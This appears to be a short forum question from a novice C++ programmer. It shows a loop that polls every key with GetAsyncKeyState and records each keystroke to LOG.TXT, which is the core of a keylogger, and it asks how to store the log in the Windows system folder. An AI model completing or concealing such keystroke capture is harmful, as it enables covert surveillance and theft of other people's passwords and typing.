i'm programming something on C++ .i have just recently started and i have this piece of code which saves LOG.TXT into the same directory. But how do i save it to somewhere for example. c:\Windows\log.txt?
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save(i,"LOG.TXT");
}
}